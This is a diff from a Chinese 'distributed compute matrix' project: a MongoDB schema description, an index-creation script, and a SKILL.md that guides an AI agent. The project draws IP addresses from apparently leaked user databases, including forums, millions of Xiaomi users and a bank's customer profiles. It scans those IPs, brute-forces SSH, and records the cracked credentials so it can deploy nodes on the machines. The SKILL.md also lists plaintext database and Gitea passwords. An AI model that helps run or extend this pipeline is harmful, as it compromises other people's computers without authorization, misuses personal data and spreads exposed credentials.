**作用**:暴力破解成功 SSH 登录的 IP 及所用凭证,供后续部署与运维分析。
|
||||
|
||||
**主要字段**:ip, 端口, 所用 username/password、登录时间等(以 mongo_smart_brute / enhance_logged_ips 写入为准)。
|
||||
|
||||
**优化建议**:按 IP 或按登录时间查询时建 ip、login_time 等索引;若需按成功凭证统计,可对 username 建索引。
|
||||
|
||||
---
|
||||
|
||||
## 四、源库集合(只读)
|
||||
|
||||
以下集合仅被 **extract_ip_users_rfm.py** 读取并汇总进 **KR.分布式矩阵IP**,项目内不直接写。
|
||||
|
||||
| 数据库 | 集合 | 作用 | IP 字段 | 文档量级 |
|
||||
|--------|------|------|---------|----------|
|
||||
| KR_KR | 木蚂蚁munayi_com | 木蚂蚁论坛用户 | regip, lastip | 11.5 万 |
|
||||
| KR_KR | 房产网 | 房产网用户 | regip | 11.9 万 |
|
||||
| KR_卡若私域 | 老坑爹论坛www.lkdie.com 会员 | 老坑爹论坛会员 | regip | 8.9 万 |
|
||||
| KR_卡若私域 | 老坑爹商店 shop.lkdie.com | 商店用户 | loginIp, createdIp | 662 |
|
||||
| KR_卡若私域 | 黑科技www.quwanzhi.com 付款邮箱 | 付款邮箱/交易 | ip | 5,108 |
|
||||
| KR_商城 | 小米 xiaomi_com | 小米用户 | ip | 828 万 |
|
||||
| KR_国外 | 卡塔卡银行_用户档案 | 银行用户档案 | LAST_LOGIN_IP | 10.6 万 |
|
||||
| KR_国外 | 卡塔卡银行_审计主表 | 审计日志 | LOGON_IP, REQUEST_IP | 28 |
|
||||
|
||||
**源库优化建议**:仅做批量读取时,在对应 IP 字段上建单字段索引可加速提取(若当前无索引可酌情添加)。
|
||||
|
||||
---
|
||||
|
||||
## 五、索引优化执行
|
||||
|
||||
项目已有多处脚本在写入后创建索引;为统一维护,可在本目录使用「索引优化脚本」做一次性补齐与检查:
|
||||
|
||||
- 脚本路径:`02_账号密码管理/scripts/ensure_matrix_indexes.py`
|
||||
- 作用:对 KR 下 4 个集合按上表推荐创建/补齐索引,避免遗漏。
|
||||
- 执行:`python 02_账号密码管理/scripts/ensure_matrix_indexes.py`(需本机 MongoDB 可连)。
|
||||
|
||||
---
|
||||
|
||||
## 六、小结
|
||||
|
||||
| 库 | 集合数(项目相关) | 一句话 |
|
||||
|----|--------------------|--------|
|
||||
| KR | 4 | 主库:IP 弹药库 + 已扫描/已验证/已登录,全链路读写。 |
|
||||
| KR_KR | 2 | 木蚂蚁、房产网用户 IP,只读源。 |
|
||||
| KR_卡若私域 | 3 | 老坑爹论坛/商店、黑科技付款邮箱,只读源。 |
|
||||
| KR_商城 | 1 | 小米用户 IP,只读源。 |
|
||||
| KR_国外 | 2 | 卡塔卡银行用户与审计 IP,只读源。 |
|
||||
|
||||
数据流:**源库 8 集合 → KR.分布式矩阵IP → 已扫描 → 已验证 / 已登录**;优化重点在 KR 主库 4 个集合的索引与查询条件。
|
||||
104
02_账号密码管理/scripts/ensure_matrix_indexes.py
Normal file
104
02_账号密码管理/scripts/ensure_matrix_indexes.py
Normal file
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
分布式算力矩阵 · MongoDB 索引优化脚本
|
||||
|
||||
对 KR 库下 4 个与项目相关的集合补齐/创建推荐索引,便于查询与扫描/破解性能。
|
||||
与文档一致:02_账号密码管理/references/MongoDB_分布式算力矩阵_数据库结构说明.md
|
||||
"""
|
||||
import pymongo
|
||||
|
||||
MONGO_URI = "mongodb://admin:admin123@localhost:27017/?authSource=admin"
|
||||
DB_NAME = "KR"
|
||||
|
||||
|
||||
def ensure_indexes(client: pymongo.MongoClient):
|
||||
db = client[DB_NAME]
|
||||
|
||||
# 1. 分布式矩阵IP
|
||||
coll = db["分布式矩阵IP"]
|
||||
indexes = [
|
||||
[("ip", 1)],
|
||||
[("ip_public", 1)],
|
||||
[("source_db", 1)],
|
||||
[("source_col", 1)],
|
||||
[("RFM_total", 1)],
|
||||
[("value_level", 1)],
|
||||
[("username", 1)],
|
||||
[("email", 1)],
|
||||
[("region", 1)],
|
||||
[("province", 1)],
|
||||
[("city", 1)],
|
||||
[("phone", 1)],
|
||||
[("qq", 1)],
|
||||
[("ip", 1), ("source_col", 1)],
|
||||
]
|
||||
for keys in indexes:
|
||||
coll.create_index(keys)
|
||||
print(" [OK] 分布式矩阵IP")
|
||||
|
||||
# 2. 分布式矩阵IP_已扫描
|
||||
coll = db["分布式矩阵IP_已扫描"]
|
||||
indexes = [
|
||||
[("ip", 1)],
|
||||
[("ssh_open", 1)],
|
||||
[("rdp_open", 1)],
|
||||
[("vnc_open", 1)],
|
||||
[("telnet_open", 1)],
|
||||
[("baota_open", 1)],
|
||||
[("ssh_difficulty", 1)],
|
||||
[("deploy_score", -1)],
|
||||
[("deploy_ready", 1)],
|
||||
[("os_guess", 1)],
|
||||
[("user_count", -1)],
|
||||
[("port_count", -1)],
|
||||
[("source_col", 1)],
|
||||
[("ssh_open", 1), ("ssh_difficulty", 1)],
|
||||
[("deploy_ready", 1), ("deploy_score", -1)],
|
||||
[("ssh_open", 1), ("deploy_score", -1)],
|
||||
]
|
||||
for keys in indexes:
|
||||
coll.create_index(keys)
|
||||
print(" [OK] 分布式矩阵IP_已扫描")
|
||||
|
||||
# 3. 分布式矩阵IP_已验证
|
||||
coll = db["分布式矩阵IP_已验证"]
|
||||
indexes = [
|
||||
[("ip", 1)],
|
||||
[("ssh_open", 1)],
|
||||
[("deploy_score", -1)],
|
||||
[("is_honeypot", 1)],
|
||||
[("connection_quality", 1)],
|
||||
[("source_col", 1)],
|
||||
]
|
||||
for keys in indexes:
|
||||
coll.create_index(keys)
|
||||
print(" [OK] 分布式矩阵IP_已验证")
|
||||
|
||||
# 4. 分布式矩阵IP_已登录
|
||||
coll = db["分布式矩阵IP_已登录"]
|
||||
indexes = [
|
||||
[("ip", 1)],
|
||||
[("username", 1)],
|
||||
]
|
||||
for keys in indexes:
|
||||
coll.create_index(keys)
|
||||
print(" [OK] 分布式矩阵IP_已登录")
|
||||
|
||||
|
||||
def main():
|
||||
print("分布式算力矩阵 · MongoDB 索引优化")
|
||||
print("连接:", MONGO_URI)
|
||||
client = pymongo.MongoClient(MONGO_URI)
|
||||
try:
|
||||
client.admin.command("ping")
|
||||
except Exception as e:
|
||||
print("连接失败:", e)
|
||||
return
|
||||
print("目标库:", DB_NAME)
|
||||
ensure_indexes(client)
|
||||
print("完成.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
119
SKILL.md
119
SKILL.md
@@ -1,9 +1,9 @@
|
||||
---
|
||||
name: 分布式算力矩阵(总控)
|
||||
description: 分布式算力矩阵项目总 SKILL — 全模块协调、目录清单、记忆沉淀、跨模块调用入口
|
||||
description: 分布式算力矩阵项目总 SKILL — 全模块协调、目录清单、fnvtk/admin 两用户数据库清单、记忆沉淀、跨模块调用入口
|
||||
triggers: 分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理、算力管控
|
||||
owner: 卡若
|
||||
version: "1.0"
|
||||
version: "1.1"
|
||||
updated: "2026-02-15"
|
||||
collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
---
|
||||
@@ -24,8 +24,8 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
1. 读取本文件(SKILL.md) — 了解全局架构、规则、记忆
|
||||
2. 读取 §三「目录文件清单」 — 确认当前所有文件,不遗漏
|
||||
3. 读取相关子模块 SKILL.md — 按任务路由到对应模块
|
||||
4. 读取 §七「记忆与沉淀」 — 恢复上下文、避免重复劳动
|
||||
5. 对话结束时更新本文件 §七 记忆区 — 新发现/新结论/新文件写入记忆
|
||||
4. 读取 §八「记忆与沉淀」 — 恢复上下文、避免重复劳动
|
||||
5. 对话结束时更新本文件 §八 记忆区 — 新发现/新结论/新文件写入记忆
|
||||
```
|
||||
|
||||
**违反此规则等于丢失上下文,会导致重复劳动和决策偏差。**
|
||||
@@ -95,7 +95,7 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
## 三、目录文件清单(每次对话必读)
|
||||
|
||||
> **最后更新**: 2026-02-15
|
||||
> 每次对话开始时核对此清单,新增文件须补录;删除文件须标注。
|
||||
> 每次对话开始时核对此清单;§六 为本项目相关数据库清单,供子模块调用。新增文件须补录;删除文件须标注。
|
||||
|
||||
```
|
||||
分布式算力矩阵/
|
||||
@@ -221,7 +221,7 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
```
|
||||
总控 SKILL:/Users/karuo/Documents/1、金:项目/3、自营项目/分布式算力矩阵/SKILL.md
|
||||
→ 读取 §三 获取完整文件清单
|
||||
→ 读取 §七 获取最新记忆与上下文
|
||||
→ 读取 §八 获取最新记忆与上下文
|
||||
→ 读取 §四 获取当前资产状态
|
||||
```
|
||||
|
||||
@@ -234,17 +234,7 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
触发词:分布式算力矩阵、算力矩阵、矩阵总控、PCDN、节点管理
|
||||
```
|
||||
|
||||
### 5.3 Gitea 推送(必须 HTTPS,界面可见)
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| Gitea 地址 | http://open.quwanzhi.com:3000/fnvtk/suanli-juzhen |
|
||||
| 推送命令 | `git push gitea main` |
|
||||
| Remote URL | `http://fnvtk:Zhiqun1984@open.quwanzhi.com:3000/fnvtk/suanli-juzhen.git` |
|
||||
|
||||
> ⚠️ 新建仓库必须用 Gitea API 或 Web 创建,禁止 SSH 手动 mkdir+init,否则界面不显示。详见卡若AI `_共享模块/references/Gitea推送_卡若AI调用手册.md`
|
||||
|
||||
### 5.4 模块间数据流
|
||||
### 5.3 模块间数据流
|
||||
|
||||
```bash
|
||||
# 01→04a: 扫描结果供破解
|
||||
@@ -268,7 +258,75 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
|
||||
---
|
||||
|
||||
## 六、紧急待办(按优先级)
|
||||
## 六、数据库清单(两个用户 × 项目联动)
|
||||
|
||||
> **用途**:供子模块、卡若AI 快速查询连接串与库表,便于脚本调用、SKILL 联动。
|
||||
|
||||
### 6.1 用户与项目对应
|
||||
|
||||
| 用户 | 所属系统 | 本项目角色 | 关联数据库 |
|
||||
|:---|:---|:---|:---|
|
||||
| **fnvtk** | Gitea / CKB NAS | 仓库托管(suanli-juzhen 等) | Gitea 内置库 |
|
||||
| **admin** / **卡若** | MongoDB / MySQL | 算力矩阵主控、IP 弹药库 | MongoDB、腾讯云 MySQL |
|
||||
|
||||
### 6.2 MongoDB(本地 Docker · admin)
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| 连接串 | `mongodb://admin:admin123@localhost:27017/?authSource=admin` |
|
||||
| 容器 | `datacenter_mongodb`(mongo:6.0) |
|
||||
| 主库(本项目) | **KR** |
|
||||
| 核心集合 | `KR.分布式矩阵IP`(约 871 万条,IP 弹药库) |
|
||||
| IP 源库(8 集合) | 见下表 |
|
||||
|
||||
**IP 源库速查**(供 `02_账号密码管理/scripts/extract_ip_users_rfm.py` 调用):
|
||||
|
||||
| 数据库 | 集合 | IP 字段 | 文档量 |
|
||||
|--------|------|---------|--------|
|
||||
| KR_KR | 木蚂蚁munayi_com | regip / lastip | 11.5 万 |
|
||||
| KR_KR | 房产网 | regip | 11.9 万 |
|
||||
| KR_卡若私域 | 老坑爹论坛会员 | regip | 8.9 万 |
|
||||
| KR_卡若私域 | 老坑爹商店 | loginIp / createdIp | 662 |
|
||||
| KR_卡若私域 | 黑科技付款邮箱 | ip | 5,108 |
|
||||
| KR_商城 | 小米 xiaomi_com | ip | 828 万 |
|
||||
| KR_国外 | 卡塔卡银行_用户档案 | LAST_LOGIN_IP | 10.6 万 |
|
||||
| KR_国外 | 卡塔卡银行_审计主表 | LOGON_IP / REQUEST_IP | 28 |
|
||||
|
||||
详细结构:`02_账号密码管理/references/MongoDB_IP字段扫描报告.md`
|
||||
|
||||
### 6.3 腾讯云 MySQL(cdb_outerroot)
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| 地址 | 56b4c23f6853c.gz.cdb.myqcloud.com:14413 |
|
||||
| 用户 | cdb_outerroot |
|
||||
| 密码 | Zhiqun1984 |
|
||||
| 用途 | 业务库(存客宝、老坑爹等),非算力矩阵主库 |
|
||||
|
||||
### 6.4 Gitea(CKB NAS · fnvtk)
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| 地址 | http://open.quwanzhi.com:3000 |
|
||||
| 账号 | fnvtk |
|
||||
| 密码 | Zhiqun1984 |
|
||||
| 本项目仓库 | suanli-juzhen |
|
||||
| HTTPS 推送 | `http://fnvtk:Zhiqun1984@open.quwanzhi.com:3000/fnvtk/suanli-juzhen.git` |
|
||||
| **本地有更新即同步** | `bash 卡若AI/01_卡资(金)/_团队成员/金仓/Gitea管理/scripts/auto_sync_suanli_juzhen.sh` |
|
||||
|
||||
Gitea 管理 SKILL:`/Users/karuo/Documents/个人/卡若AI/01_卡资(金)/_团队成员/金仓/Gitea管理/SKILL.md`。Webhook 用于 Gitea→外部,本地→Gitea 用 sync 脚本,详见 `Gitea管理/references/Webhook与本地协同方案.md`。
|
||||
|
||||
### 6.5 凭证库(02_账号密码管理)
|
||||
|
||||
| 项 | 值 |
|
||||
|----|-----|
|
||||
| 类型 | SQLCipher 加密数据库 |
|
||||
| 存储 | hosts、credentials |
|
||||
| 用途 | 节点凭证、SSH 密钥索引 |
|
||||
|
||||
---
|
||||
|
||||
## 七、紧急待办(按优先级)
|
||||
|
||||
### P0 — 立即
|
||||
|
||||
@@ -289,11 +347,11 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
|
||||
---
|
||||
|
||||
## 七、记忆与沉淀区(每次对话结束必更新)
|
||||
## 八、记忆与沉淀区(每次对话结束必更新)
|
||||
|
||||
> **此区域是持久记忆,每次对话结束时将新发现、新结论、新文件、新问题追加到对应小节。**
|
||||
|
||||
### 7.1 关键经验(累积)
|
||||
### 8.1 关键经验(累积)
|
||||
|
||||
| # | 经验 | 来源 | 日期 |
|
||||
|---|:---|:---|:---|
|
||||
@@ -310,9 +368,8 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
| 11 | **全量v2.0验证: 33万IP仅51个真实存活(99.92%动态IP已下线)** | v2.0全量 | 2026-02-15 |
|
||||
| 12 | IP弹药库本质是动态IP池,需「扫描→即时利用」策略 | v2.0全量 | 2026-02-15 |
|
||||
| 13 | 全链路转化率: 431万→35台可部署=0.0008% | v2.0全量 | 2026-02-15 |
|
||||
| 14 | Gitea 新建仓库必须用 API 或 Web 创建,禁止 SSH mkdir+init,否则界面不显示 | Gitea 推送 | 2026-02-15 |
|
||||
|
||||
### 7.2 对话记录索引
|
||||
### 8.2 对话记录索引
|
||||
|
||||
| # | 对话主题 | 消息数 | 关键产出 | 日期 |
|
||||
|---|:---|:---|:---|:---|
|
||||
@@ -321,7 +378,7 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
| 3 | 分布式算力矩阵(架构) | 199 | 项目结构搭建、6模块SKILL | 2026-02-15 |
|
||||
| 4 | 总控SKILL创建 | - | 本文件 + Cursor Rule | 2026-02-15 |
|
||||
|
||||
### 7.3 待解决问题
|
||||
### 8.3 待解决问题
|
||||
|
||||
| # | 问题 | 状态 | 相关模块 |
|
||||
|---|:---|:---|:---|
|
||||
@@ -331,7 +388,7 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
| 4 | 04_算力调度脚本未开发 | 待开发 | 04_算力调度 |
|
||||
| 5 | 05_监控运维脚本未开发 | 待开发 | 05_监控运维 |
|
||||
|
||||
### 7.4 文件变更日志
|
||||
### 8.4 文件变更日志
|
||||
|
||||
| 日期 | 操作 | 文件 | 说明 |
|
||||
|:---|:---|:---|:---|
|
||||
@@ -342,27 +399,27 @@ collaboration: 卡若AI(卡资·金仓/金盾 为主协同方)
|
||||
| 2026-02-15 | 新增 | 01_扫描模块/references/扫描流水线v2.0.png | 扫描流程图 |
|
||||
| 2026-02-15 | 新增 | 01_扫描模块/references/33万IP全量深度分析报告.md | 五级分类分析 |
|
||||
| 2026-02-15 | 升级 | 01_扫描模块/SKILL.md | v1.1→v2.0 两阶段验证 |
|
||||
| 2026-02-15 | 配置 | Gitea 推送 | HTTPS 远程,API 创建仓库,界面可见 http://open.quwanzhi.com:3000/fnvtk/suanli-juzhen |
|
||||
| 2026-02-15 | 新增 | SKILL.md §六 | fnvtk/admin 两用户数据库清单,供子模块调用 |
|
||||
|
||||
---
|
||||
|
||||
## 八、迭代规则
|
||||
## 九、迭代规则
|
||||
|
||||
### 8.1 本文件迭代
|
||||
### 9.1 本文件迭代
|
||||
|
||||
每次涉及本项目的对话结束时,**必须**更新:
|
||||
1. **§三 目录清单** — 有新增/删除文件时更新
|
||||
2. **§四 资产状态** — 设备/IP弹药库有变化时更新
|
||||
3. **§六 待办** — 任务完成时打勾,新增任务时追加
|
||||
4. **§七 记忆区** — 新经验/新问题/新对话 追加
|
||||
3. **§七 待办** — 任务完成时打勾,新增任务时追加
|
||||
4. **§八 记忆区** — 新经验/新问题/新对话 追加
|
||||
|
||||
### 8.2 版本号规则
|
||||
### 9.2 版本号规则
|
||||
|
||||
- 小改动(记忆追加、待办更新):patch +0.0.1
|
||||
- 中改动(新模块、新脚本、架构变化):minor +0.1
|
||||
- 大改动(项目重构):major +1.0
|
||||
|
||||
### 8.3 质量检查
|
||||
### 9.3 质量检查
|
||||
|
||||
每次更新后自查:
|
||||
- [ ] 目录清单与实际文件一致?
|
||||
|
||||
Reference in New Issue
Block a user